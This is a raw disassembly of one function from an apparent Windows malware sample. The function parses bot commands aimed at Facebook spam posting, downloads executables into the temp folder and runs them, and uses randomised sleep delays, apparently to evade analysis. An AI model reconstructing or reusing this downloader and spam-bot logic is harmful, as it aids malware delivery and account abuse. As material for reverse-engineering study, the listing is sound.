Function at 0x402472
Capabilities:
Check if file exists
Delete file
Get common file path
Terminate process
Write file on windows

Disassembly:
mov eax, 0x524c0
call fcn.00409a50
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push esi
push edi
call ebp
push 0xa
xor edx, edx
pop ecx
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
div ecx
push edx
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
call edi
push 0x17
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0xbb7
lea eax, [esp + 0x2b34]
push 0
push eax
call sub.MSVCRT.dll_memset
push 0x12b
lea eax, [esp + 0x244]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
call ebp
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push dword [esp + 0x524dc]
call fcn.004014ca
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x2b38]
push str.a_df_d
push eax
call ebx
add esp, 0x10
call ebp
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x234]
push dword [esp + 0x524e8]
push dword [esp + 0x524d8]
push 0
push 0x40d414
push str.v_sc_ds_sl_s
push eax
call ebx
lea eax, [esp + 0x440]
push 0x40de18
push eax
call sub.MSVCRT.dll_strcpy
mov ebx, dword [esp + 0x52518]
add esp, 0x20
test ebx, ebx
je 0x402588
call edi
push 0x17
xor edx, edx
pop ecx
div ecx
push edx
call esi
push dword [ebx + 0x10]
mov eax, dword [ebx]
push dword [ebx + 0xc]
push dword [ebx + 4]
push dword [ebx + 8]
push eax
push eax
lea eax, [esp + 0x440]
push str.ck_dc_fb_dc_ms_dc_hi_dc_be_dc_fr_d
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x20
call ebp
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x234]
push eax
lea eax, [esp + 0x2b34]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [esp + 0x430]
push eax
lea eax, [esp + 0x2b3c]
push eax
call sub.MSVCRT.dll_strcat
xor ebx, ebx
add esp, 0x10
cmp dword [esp + 0x524ec], ebx
je 0x40260e
cmp dword [esp + 0x524f0], ebx
je 0x40260e
push dword [esp + 0x524f0]
lea eax, [esp + 0x134c]
push dword [esp + 0x524f0]
push str.hav_shname_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x1358]
push eax
lea eax, [esp + 0x2b44]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
push 0x4e1f
lea eax, [esp + 0x42d4]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [esp + 0x28], ebx
call ebp
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
call edi
push 0x17
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0x40d5d0
lea eax, [esp + 0x170]
push str.P_sT
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [esp + 0x16c]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x42d8]
push eax
lea eax, [esp + 0x2b3c]
push dword [esp + 0x524f0]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [esp + 0x2b44]
push eax
push dword [esp + 0x5250c]
call fcn.00401783
call edi
push 0x17
xor edx, edx
pop ecx
div ecx
push edx
call esi
call ebp
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
mov eax, dword [esp + 0x524d8]
and byte [eax + 0xe1], 0
cmp dword [esp + 0x28], ebx
jbe 0x4036d0
lea eax, [esp + 0x42d0]
push 0x40d044
push eax
call dword [sym.imp.MSVCRT.dll_strtok]
mov ebp, dword [sym.imp.MSVCRT.dll_time]
push ebx
mov dword [esp + 0x30], eax
call ebp
add esp, 0xc
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
call edi
push 0x17
xor edx, edx
pop ecx
div ecx
push edx
call esi
mov eax, dword [esp + 0x24]
test eax, eax
je 0x4036d0
push eax
call dword [sym.imp.MSVCRT.dll__strdup]
push 0
mov dword [esp + 0x18], eax
call ebp
pop ecx
mov ebx, eax
pop ecx
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
push dword [esp + 0x10]
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x403661
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
mov ebx, dword [esp + 0x10]
push ebx
call sub.MSVCRT.dll_strlen
cmp byte [eax + ebx - 1], 0xd
pop ecx
jne 0x402787
push ebx
call sub.MSVCRT.dll_strlen
and byte [eax + ebx - 1], 0
pop ecx
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push 0
call esi
push 0x40d5c4
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
push eax
call esi
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0x40d2d4
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll_strstr]
push 0
mov dword [esp + 0x20], eax
call ebp
add esp, 0xc
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0x40d5c4
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
push eax
call esi
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
cmp dword [esp + 0x14], 0
je 0x403625
mov eax, dword [esp + 0x14]
and byte [eax], 0
inc dword [esp + 0x14]
call edi
push 0x17
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.FBTARGETPERPOST
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402869
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll_atoi]
mov ebx, dword [esp + 0x524dc]
pop ecx
mov dword [ebx + 0xf4], eax
jmp 0x402870
mov ebx, dword [esp + 0x524d8]
push str.TINYURL
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402916
push 0x40d2d4
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x402900
push 0x40d2d4
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
test eax, eax
pop ecx
je 0x402916
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
test eax, eax
setne al
mov dword [esp], 0x40d2d4
push 0
mov byte [ebx + 0xe1], al
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
mov dword [esp + 0x1c], eax
test eax, eax
pop ecx
je 0x402916
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push 0x28
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea ecx, [ebx + 0xe4]
push dword [esp + 0x18]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
jmp 0x402916
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll_atoi]
test eax, eax
setne al
pop ecx
mov byte [ebx + 0xe1], al
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push 0x28
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.FBSHAREURL
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40294b
push dword [esp + 0x14]
lea ecx, [ebx + 0x12c]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push 0x28
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.SHARELINK
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402986
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll_atoi]
test eax, eax
setne al
pop ecx
mov byte [ebx + 0xe2], al
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push 0x28
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.RCAPTCHA
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4029c1
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll_atoi]
test eax, eax
setne al
pop ecx
mov byte [ebx + 0xe0], al
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push 0x28
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.MPOST
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4029fc
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll_atoi]
test eax, eax
setne al
pop ecx
mov byte [ebx + 0xe3], al
push str.INVITE
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402a27
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll_atoi]
test eax, eax
setne al
pop ecx
mov byte [ebx + 0x13c], al
push str.PARAMS
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402a9b
push 0x40d2d4
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x402a8b
push 0x40d2d4
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
mov dword [esp + 0x1c], eax
test eax, eax
pop ecx
je 0x402a9b
push dword [esp + 0x14]
and byte [eax], 0
lea ecx, [ebx + 0x10c]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
lea ecx, [ebx + 0x11c]
mov eax, dword [esp + 0x18]
inc eax
push eax
jmp 0x402a95
push dword [esp + 0x14]
lea ecx, [ebx + 0x10c]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.SWFMODE
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402b3e
mov ebx, 0x40d2d4
push ebx
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x402b26
push ebx
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
test eax, eax
pop ecx
je 0x402b3e
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov ecx, dword [esp + 0x524dc]
push ebx
push 0
mov dword [ecx + 0xf8], eax
call dword [sym.imp.MSVCRT.dll_strtok]
add esp, 0xc
test eax, eax
je 0x402b3e
push eax
mov eax, dword [esp + 0x524dc]
lea ecx, [eax + 0xfc]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
jmp 0x402b3e
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov ecx, dword [esp + 0x524d8]
mov dword [ecx + 0xf8], eax
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0x40d020
push 0x40d558
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
test eax, eax
pop ecx
jne 0x402d1b
push 0x40d554
lea eax, [esp + 0xa8]
push str.UP_sE
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0xb0]
push eax
push dword [esp + 0x20]
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x14
test eax, eax
je 0x402cdd
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
call ebx
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x2730]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
and byte [esp + eax + 0x2730], 0
call ebx
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
call ebx
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
call ebx
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
call ebx
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0
call ebp
pop ecx
push eax
lea eax, [esp + 0x2734]
push eax
lea eax, [esp + 0xb50]
push str._s_tt__d.exe
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
call ebx
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0xb48]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
call ebx
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
call ebx
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
xor eax, eax
lea ecx, [esp + 0xb48]
push eax
push eax
push ecx
push dword [esp + 0x20]
push eax
call fcn.00403f99
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov dword [esp + 0x18], eax
call ebx
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
call ebx
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
cmp dword [esp + 0x18], 0
je 0x403681
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.WAIT
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402d1b
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll_atoi]
imul eax, eax, 0xea60
pop ecx
push eax
call esi
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
push 0x40d548
lea eax, [esp + 0x10c]
push str.ST_sT
push eax
call ebx
lea eax, [esp + 0x114]
push eax
push dword [esp + 0x20]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0x14
test eax, eax
jne 0x402e5e
lea eax, [esp + 0x36e8]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
and byte [esp + eax + 0x36e8], 0
push 0
call ebp
pop ecx
push eax
lea eax, [esp + 0x36ec]
push eax
lea eax, [esp + 0xf50]
push str._s_tt__d.exe
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0xf48]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
and dword [esp + 0x1c], 0
push dword [esp + 0x1c]
lea eax, [esp + 0x3aec]
push str.c:_tmark25_d.dat
push eax
call ebx
lea eax, [esp + 0x3af4]
push 0x40d020
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x14
mov dword [esp + 0x20], eax
test eax, eax
jne 0x4036ae
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 0x2710
jl 0x402db5
push eax
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
xor ebx, ebx
lea eax, [esp + 0xf48]
push ebx
push ebx
push eax
push dword [esp + 0x20]
push ebx
call fcn.00403f99
test eax, eax
jne 0x402e5e
push ebx
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0xf48]
push 0
push eax
call fcn.004016e6
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.ARTIM
lea eax, [esp + 0x1d4]
push str.ST_sG
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x1dc]
push eax
push dword [esp + 0x20]
call sub.MSVCRT.dll_strcmp
add esp, 0x14
test eax, eax
jne 0x40304d
lea eax, [esp + 0x1b30]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
xor ebx, ebx
push ebx
mov byte [esp + eax + 0x1b34], bl
call ebp
pop ecx
push eax
lea eax, [esp + 0x1b34]
push eax
lea eax, [esp + 0x1738]
push str._sex__d.exe
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
push ebx
call ebp
add esp, 0x14
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x1730]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x40d2d4
mov ebx, dword [esp + 0x18]
push ebx
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
mov dword [esp + 0x1c], eax
test eax, eax
pop ecx
je 0x403051
and byte [eax], 0
and dword [esp + 0x1c], 0
call fcn.004044d5
push 0x3c
lea eax, [esp + 0x6c]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [esp + 0x1354]
add esp, 0xc
mov dword [esp + 0x94], eax
lea eax, [esp + 0x680]
mov dword [esp + 0x9c], eax
lea eax, [esp + 0x3c4]
push str.InternetCrackUrlA
push str.wininet
mov dword [esp + 0x70], 0x3c
mov dword [esp + 0xa0], 0x3e7
mov dword [esp + 0xa8], 0xc7
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 0x63
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x68]
push eax
push 0
push ebx
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebx
call dword [esp + 0x30]
mov eax, dword [esp + 0x18]
inc eax
push eax
lea eax, [esp + 0x20]
push dword [esp + 0x98]
push dword [esp + 0x80]
push eax
lea eax, [esp + 0x9100]
push eax
call fcn.0040455d
test al, al
je 0x403051
lea eax, [esp + 0x1730]
push 0x40d340
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
je 0x403029
push ebx
lea eax, [esp + 0x90f4]
push dword [esp + 0x20]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
lea eax, [esp + 0x1730]
push 0
push eax
call fcn.004016e6
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
mov ebx, dword [esp + 0x14]
push 1
call esi
push 0xc
push str.STARTONCEIMG
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x4033e6
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push ebx
and dword [esp + 0x1c], 0
and dword [esp + 0x20], 0
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x4030af
mov eax, dword [esp + 0x1c]
push ebx
movsx eax, byte [eax + ebx]
add dword [esp + 0x1c], eax
inc dword [esp + 0x20]
call sub.MSVCRT.dll_strlen
cmp dword [esp + 0x20], eax
pop ecx
jb 0x403092
push 0
call ebp
pop ecx
push 0x1e
cdq
pop ecx
idiv ecx
push edx
call esi
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x1f30]
push dword [esp + 0x18]
push str.ndows_t55
push str.c:wi_sft_df44.dat
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x1f30]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4033e6
lea eax, [esp + 0x2330]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
and byte [esp + eax + 0x2330], 0
push 0
call ebp
pop ecx
push eax
lea eax, [esp + 0x2334]
push eax
lea eax, [esp + 0x750]
push str._s_tt__d.exe
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0
call ebp
pop ecx
push 0x1e
cdq
pop ecx
idiv ecx
push edx
call esi
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x748]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40318f
lea eax, [esp + 0x748]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
and dword [esp + 0x18], 0
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push ebx
and dword [esp + 0x20], 0
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x403200
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
and eax, 1
push eax
call esi
mov eax, dword [esp + 0x1c]
add eax, ebx
cmp byte [eax], 0x7c
jne 0x4031e3
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
and eax, 1
push eax
call esi
inc dword [esp + 0x1c]
push ebx
call sub.MSVCRT.dll_strlen
cmp dword [esp + 0x20], eax
pop ecx
jb 0x4031c8
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
cmp dword [esp + 0x18], 0
je 0x403393
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
and dword [esp + 0x24], 0
mov eax, dword [esp + 0x18]
and byte [eax], 0
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0
call ebp
pop ecx
push 0x1e
cdq
pop ecx
idiv ecx
push edx
call esi
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
call fcn.004044d5
push 0x3c
lea eax, [esp + 0x30]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [esp + 0x2c], 0x3c
mov dword [esp + 0x64], 0xc7
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x360]
push str.InternetCrackUrlA
mov dword [esp + 0x40], eax
lea eax, [esp + 0x3eec]
mov dword [esp + 0x5c], eax
lea eax, [esp + 0x5bc]
push str.wininet
mov dword [esp + 0x48], 0x63
mov dword [esp + 0x64], 0x3e7
mov dword [esp + 0x68], eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x2c]
push eax
push 0
push ebx
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebx
call dword [esp + 0x30]
push 0
call ebp
pop ecx
push 0x1e
cdq
pop ecx
idiv ecx
push edx
call esi
mov eax, dword [esp + 0x18]
inc eax
push eax
lea eax, [esp + 0x28]
push dword [esp + 0x5c]
push dword [esp + 0x44]
push eax
lea eax, [esp + 0x2daf0]
push eax
call fcn.0040455d
test al, al
je 0x403393
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x748]
push 0x40d340
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
je 0x40336b
push ebx
lea eax, [esp + 0x2dae4]
push dword [esp + 0x28]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
lea eax, [esp + 0x748]
push 0
push eax
call fcn.004016e6
push 0
call ebp
pop ecx
mov ebx, eax
call edi
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
mov ebx, dword [esp + 0x14]
push 0x40d020
push str.c:wer234555
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
test eax, eax
pop ecx
jne 0x4033e6
push 0x3e8
call esi
lea eax, [esp + 0x1f30]
push 0x40d340
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
mov dword [esp + 0x1c], eax
test eax, eax
pop ecx
je 0x4033e6
push 0x40d4b8
push eax
call dword [sym.imp.MSVCRT.dll_fprintf]
push dword [esp + 0x20]
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
push 7
push str.TITLE_B
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x40340f
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0x10]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push 8
push str.DOMAIN_B
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x403435
mov ecx, dword [esp + 0x524d8]
push ebx
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push str.TEXT_B
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40345b
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0x20]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push str.LINKTEXT_B
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x403481
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0x30]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push str.LINK_B
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4034aa
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0xc0]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push str.DOMAIN_M
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4034d0
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0x40]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push str.TITLE_M
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4034f6
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0x50]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push str.TEXT_M
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40351c
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0x60]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
